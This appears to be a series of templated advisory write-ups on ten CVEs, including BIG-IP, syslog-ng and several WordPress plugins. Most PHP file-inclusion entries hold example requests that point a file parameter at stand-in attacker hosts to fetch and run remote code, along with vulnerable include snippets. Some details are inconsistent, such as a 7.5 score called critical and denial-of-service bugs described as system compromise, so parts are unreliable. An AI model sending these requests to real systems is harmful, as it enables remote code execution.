Author: Ameeba

Overview

The vulnerability, identified as CVE-2025-36504, is a significant security flaw found in the BIG-IP HTTP/2 httprouter profile that is configured on a virtual server. This vulnerability can potentially lead to system compromise and data leaks due to increased memory resource utilization. Notably, this flaw affects a wide range of businesses and organizations that use this server technology, highlighting the critical need for immediate remediation to prevent potential cyberattacks.

Vulnerability Summary

CVE ID: CVE-2025-36504
Severity: Critical (CVSS Score: 7.5)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise and data leakage

Affected Products

Product | Affected Versions

BIG-IP HTTP/2 httprouter profile | All versions up to the end of technical support (EoTS)

How the Exploit Works

The exploit works by sending undisclosed responses to a virtual server with a BIG-IP HTTP/2 httprouter profile configured. These responses result in an increase in memory resource utilization, potentially leading to a system crash or a slowdown, thereby creating an opening for unauthorized access or data leakage.

Conceptual Example Code

Here is a conceptual example of how the vulnerability might be exploited:

POST /undisclosed/responses HTTP/1.1
Host: target.example.com
Content-Type: application/json
{ "malicious_payload": "<payload exploiting memory resource utilization>" }

In this example, the attacker sends a specially crafted payload designed to exploit the memory resource utilization vulnerability. The server, unable to handle the increased memory usage, becomes a susceptible target for further attacks or data leaks.

Mitigation Guidance

To mitigate this vulnerability, users should immediately apply the vendor-supplied patch. In the absence of an immediate patch, implementing a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can serve as a temporary mitigation measure. However, these are not long-term solutions, and the system remains at risk until the patch is applied.

Overview

The CVE-2025-35995 vulnerability pertains to the BIG-IP Policy Enforcement Manager (PEM) system. When a PEM system is licensed with URL categorization and a policy or an iRule with the urlcat command is enabled, undisclosed requests can cause the Traffic Management Microkernel (TMM) to terminate. This vulnerability can potentially lead to a system compromise or data leakage, affecting any organization that employs the BIG-IP PEM system.

Vulnerability Summary

CVE ID: CVE-2025-35995
Severity: High (7.5)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

BIG-IP PEM System | Versions with URL categorization licensed

How the Exploit Works

The exploit takes advantage of the BIG-IP PEM system when URL categorization is licensed and enabled. Through undisclosed requests, an attacker can trigger the termination of the Traffic Management Microkernel (TMM). This termination can cause system instability or failure, potentially providing an opportunity for system compromise or data leakage.

Conceptual Example Code

This conceptual example demonstrates how an attacker might use an undisclosed request to exploit the vulnerability. In this case, the “malicious_payload” represents an undisclosed request that can trigger the TMM to terminate.

POST /urlcat/command HTTP/1.1
Host: target.example.com
Content-Type: application/json
{ "malicious_payload": "undisclosed_request" }

Mitigation Guidance

Organizations are advised to apply the vendor patch to address this vulnerability. As a temporary mitigation, a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can be used to monitor and block suspicious requests that might exploit this vulnerability. It’s also recommended to disable the urlcat command on the virtual server until the patch is applied.

Overview

This report provides a detailed analysis of the CVE-2024-47619 vulnerability. The vulnerability exists in syslog-ng, an enhanced log daemon, and it affects versions prior to 4.8.2. The vulnerability has an impact on TLS connections and may expose systems to potential man-in-the-middle attacks, thereby leading to system compromise or data leakage.

Vulnerability Summary

CVE ID: CVE-2024-47619
Severity: High (CVSS: 7.5)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Possible system compromise and data leakage

Affected Products

Product | Affected Versions

syslog-ng | versions prior to 4.8.2

How the Exploit Works

The vulnerability is a result of the `tls_wildcard_match()` function in syslog-ng matching certificates such as `foo.*.bar`, which should not be allowed. It is also possible to pass partial wildcards such as `foo.a*c.bar` which glib matches but should be avoided or invalidated. This flaw can be exploited in a malicious man-in-the-middle attack where an attacker can present a certificate that should not match but does due to this bug, thereby intercepting secure TLS communications.

Conceptual Example Code

Here is a conceptual example of how this vulnerability might be exploited. This is a pseudocode representation and is not intended to be executed.

// Obtain a certificate that should not match but does due to the vulnerability
certificate = get_certificate("foo.*.bar")
// Setup a man-in-the-middle attack
setup_mitm_attack(certificate)
// Intercept and possibly modify secure TLS communications
intercept_communication()

The mitigation for this vulnerability is to apply the vendor patch or use a Web Application Firewall (WAF) or Intrusion Detection System (IDS) as a temporary mitigation. In the long term, upgrading to syslog-ng version 4.8.2 or later, which contains a fix for this issue, is highly recommended.

Overview

The vulnerability dubbed as CVE-2025-47531 is a critical security flaw that affects the Xylus Themes XT Event Widget for Social Events. Specifically, it relates to an Improper Control of Filename for Include/Require Statement in PHP Program, otherwise known as PHP Remote File Inclusion. The defect allows potential perpetrators to perform PHP Local File Inclusion, which could lead to system compromise or data leakage.

Vulnerability Summary

CVE ID: CVE-2025-47531
Severity: High (7.5 CVSS Score)
Attack Vector: Remote
Privileges Required: None
User Interaction: None
Impact: System compromise, Data leakage

Affected Products

Product | Affected Versions

Xylus Themes XT Event Widget for Social Events | n/a through 1.1.7

How the Exploit Works

The exploit works by taking advantage of the improper control of filename for include/require statement in the PHP program of the affected widget. The attacker could manipulate the file path in the include/require statement to execute a remote file from an arbitrary server. This remote file can contain malicious PHP code that, when executed, could compromise the system or lead to data leakage.

Conceptual Example Code

Here is a hypothetical example of how the vulnerability might be exploited using a manipulated HTTP request:

GET /path/to/vulnerable/widget.php?file=http://attacker.com/malicious_file.php HTTP/1.1
Host: target.example.com

In this example, the attacker has manipulated the ‘file’ parameter in the request to include a PHP file from their server (`attacker.com`). This malicious file (`malicious_file.php`) contains a code that, when executed, could compromise the system or result in data leakage.

Recommendations

Users are advised to immediately update the affected widget to the patched version as provided by the vendor. In the interim, a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can be used to mitigate the vulnerability. Regular checks for system integrity and data leaks are also recommended.

Overview

The CVE-2025-47510 vulnerability is a critical issue affecting the Display Eventbrite Events PHP program. It is an instance of the ‘PHP Remote File Inclusion’ vulnerability, resulting from the improper control of filename for Include/Require Statement in the PHP program. The vulnerability can potentially lead to system compromise or data leakage, making it a serious threat to the security of the affected systems.

Vulnerability Summary

CVE ID: CVE-2025-47510
Severity: High (CVSS: 7.5)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System compromise or data leakage

Affected Products

Product | Affected Versions

Fullworks Display Eventbrite Events | All versions up to the latest

How the Exploit Works

This vulnerability exploits the improper control of filename for Include/Require Statement in PHP. An attacker can manipulate the file inclusion mechanisms in PHP to execute remote files. This can be done by tampering with the filename argument in the include/require statement, making it point to a malicious file on a remote server instead of a local file. Once the remote file is included, it gets executed in the server’s context, leading to potential system compromise or data leakage.

Conceptual Example Code

Here is a conceptual example of how this vulnerability might be exploited:

<?php
// The 'file' parameter value is taken from user input
$file = $_GET['file'];
// The file is included without any validation
include($file . '.php');
?>

In the above example, a malicious actor could send a request like `http://target.com/vulnerable.php?file=http://malicious.com/malicious`, which results in the inclusion and execution of the malicious file from the attacker’s server. This could lead to various malicious activities, depending on the content of the included file.

Overview

The CVE-2025-47508 vulnerability is a serious issue that affects GamiPress, a popular gamification plugin for WordPress websites. This vulnerability arises due to improper control of filename for Include/Require statement in PHP program, which allows a PHP Local File Inclusion (LFI). The potential impact of this vulnerability can lead to a complete system compromise or data leakage.

Vulnerability Summary

CVE ID: CVE-2025-47508
Severity: High (7.5 CVSS Score)
Attack Vector: Network
Privileges Required: Low
User Interaction: None
Impact: Potential system compromise and data leakage

Affected Products

Product | Affected Versions

GamiPress | up to 7.3.7

How the Exploit Works

The CVE-2025-47508 exploit operates by leveraging the improper control of filenames for Include/Require statements in the PHP programming language used by GamiPress. An attacker could manipulate the filename that’s included in the server-side PHP scripts, allowing for the execution of arbitrary PHP code. This could potentially allow for PHP Local File Inclusion (LFI), leading to data leakage or complete system compromise.

Conceptual Example Code

Here is a conceptual example of how the vulnerability might be exploited:

GET /path/to/vulnerable/script.php?file=http://malicious.com/malicious_code.txt HTTP/1.1
Host: vulnerable-website.com

In this example, the attacker is making a GET request to the vulnerable PHP script, manipulating the `file` parameter to include a remote file from a malicious server (`http://malicious.com/malicious_code.txt`). This file contains malicious PHP code, which is executed on the server hosting the vulnerable script.

Overview

This report addresses the critical vulnerability CVE-2025-47498 found in the nicdark Hotel Booking system. This vulnerability, pertaining to the improper control of filename for include/require statement in PHP programs, could potentially allow attackers to execute malicious scripts remotely on the server. Consequently, this issue poses a significant risk to the system’s integrity, potentially leading to full system compromise or data leakage.

Vulnerability Summary

CVE ID: CVE-2025-47498
Severity: High (7.5 CVSS Score)
Attack Vector: Remote
Privileges Required: None
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

nicdark Hotel Booking | All versions through 3.6

How the Exploit Works

The PHP Remote File Inclusion vulnerability allows an attacker to include a remote file, typically through a script on a web server, due to the misuse of require() or include() functions in PHP. This misuse can allow the attacker to run arbitrary PHP code in the server context, potentially leading to severe consequences such as system compromise or data leakage.

Conceptual Example Code

<?php
// vulnerable PHP code
$incfile = $_REQUEST["file"];
include($incfile . ".php");
?>

An attacker could exploit this by sending a request like this:

GET /vulnerable_page.php?file=http://attacker.com/malicious_code HTTP/1.1
Host: target.example.com

This would result in the server downloading and executing the malicious PHP code hosted on attacker.com.

Recommended Mitigation Techniques

It is advised to apply the vendor patch as soon as it becomes available. In the interim, Web Application Firewalls (WAF) or Intrusion Detection Systems (IDS) can be used to filter out malicious requests targeting this vulnerability. Furthermore, it is good practice to avoid using user input directly in file include operations and instead use a white-list of allowable inputs.

Overview

The document discusses a critical vulnerability, CVE-2025-47496, that affects the PublishPress Authors plugin used widely in web development. This vulnerability arises due to improper control of filename for Include/Require Statement in PHP Program and could lead to PHP Local File Inclusion. The vulnerability is of high concern as it could potentially compromise the system and lead to data leakage.

Vulnerability Summary

CVE ID: CVE-2025-47496
Severity: High Risk (CVSS Score: 7.5)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System compromise and data leakage

Affected Products

Product | Affected Versions

PublishPress Authors | n/a through 4.7.5

How the Exploit Works

The vulnerability stems from the improper control of filename for Include/Require Statement in the PHP program of PublishPress Authors. This allows an attacker to include a file from a remote server. If the attacker can control the input of the file name and manipulate it to point to a malicious file on a remote server, the vulnerability facilitates the execution of arbitrary code. This could potentially compromise the entire system and lead to a data breach.

Conceptual Example Code

Below is a conceptual example of how this vulnerability might be exploited. This is a sample HTTP request where the attacker manipulates the file path to point to a malicious file on a remote server.

GET /index.php?file=http://malicious-server.com/malicious-file.php HTTP/1.1
Host: target.example.com

In the above request, the attacker has manipulated the ‘file’ parameter to point to ‘malicious-file.php’ on ‘malicious-server.com’. If the server processes this request, it would include the malicious file leading to the execution of the arbitrary code contained within.

Mitigation

The recommended mitigation for this flaw is to apply the vendor’s patch as soon as it becomes available. Meanwhile, as a temporary mitigation, the use of a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) can help in blocking or alerting about potential exploitation attempts.

Overview

The vulnerability titled CVE-2025-47494 describes an issue with improper control of filename for Include/Require Statement in PHP Program (‘PHP Remote File Inclusion’), specifically within the EventON product by Ashan Perera. This vulnerability is particularly concerning as it allows for PHP Local File Inclusion, potentially leading to system compromise or data leakage. It is crucial for users and administrators to understand this vulnerability to ensure their systems’ safety.

Vulnerability Summary

CVE ID: CVE-2025-47494
Severity: High (7.5)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System compromise and potential data leakage

Affected Products

Product | Affected Versions

EventON | Versions up to 2.4.1

How the Exploit Works

The exploit takes advantage of the PHP program’s improper control of filename for Include/Require Statement. An attacker can manipulate this to include a local file from the server, enabling them to execute arbitrary PHP code. This could lead to unauthorized access to sensitive data or control over the system.

Conceptual Example Code

An example of how the vulnerability might be exploited is shown below. This is a conceptual example of a malicious HTTP request.

GET /vulnerable_page.php?file=http://evil.com/malicious_code.txt HTTP/1.1
Host: target.example.com

In this example, the attacker is requesting a page (`vulnerable_page.php`) from the target server (`target.example.com`), and the `file` parameter is manipulated to include a malicious file (`malicious_code.txt`) from an external server (`evil.com`). If the server is vulnerable, it will include and execute the malicious PHP code from the external file.

Mitigation

To mitigate this vulnerability, it is recommended to apply the vendor patch as soon as it becomes available. As a temporary mitigation, usage of a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can provide some level of protection. It is also advisable to configure PHP settings to disallow including files from external sources.

Overview

CVE-2025-47440 is a high-risk vulnerability that impacts the WPAdverts plugin developed by Greg Winiarski. This vulnerability arises from an improper control of filename for include/require statement in PHP programs, specifically known as ‘PHP Remote File Inclusion’. If successfully exploited, the vulnerability could lead to potential system compromise or data leakage.

Vulnerability Summary

CVE ID: CVE-2025-47440
Severity: High (CVSS: 7.5)
Attack Vector: Network
Privileges Required: Low
User Interaction: None
Impact: System compromise and potential data leakage

Affected Products

Product | Affected Versions

WPAdverts by Greg Winiarski | n/a through 2.2.2

How the Exploit Works

The exploit works by taking advantage of the improper control of filename for include/require statement in PHP programs. An attacker could remotely insert a PHP file from an external server that contains malicious code. When the targeted system executes this inclusion, the malicious code runs, potentially leading to system compromise or data leakage.

Conceptual Example Code

Here’s a conceptual example illustrating how this vulnerability might be exploited:

POST /wpadverts/endpoint.php HTTP/1.1
Host: target.example.com
Content-Type: application/x-www-form-urlencoded
include=http://attacker.com/malicious_file.php

In this example, an attacker sends a request to an endpoint of the WPAdverts plugin, instructing it to include a PHP file from an external server controlled by the attacker. This file contains malicious code which, once executed, enables the attacker to potentially compromise the system or leak data.

Mitigation

To mitigate this vulnerability, it is recommended to apply the vendor patch as soon as it becomes available. In the interim, a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can be used to detect and block attempts to exploit this vulnerability.
In addition to these measures, it is also advisable to follow best practices for secure coding to avoid similar vulnerabilities in the future. This includes validating input, using secure API calls, and regularly updating and patching all software components.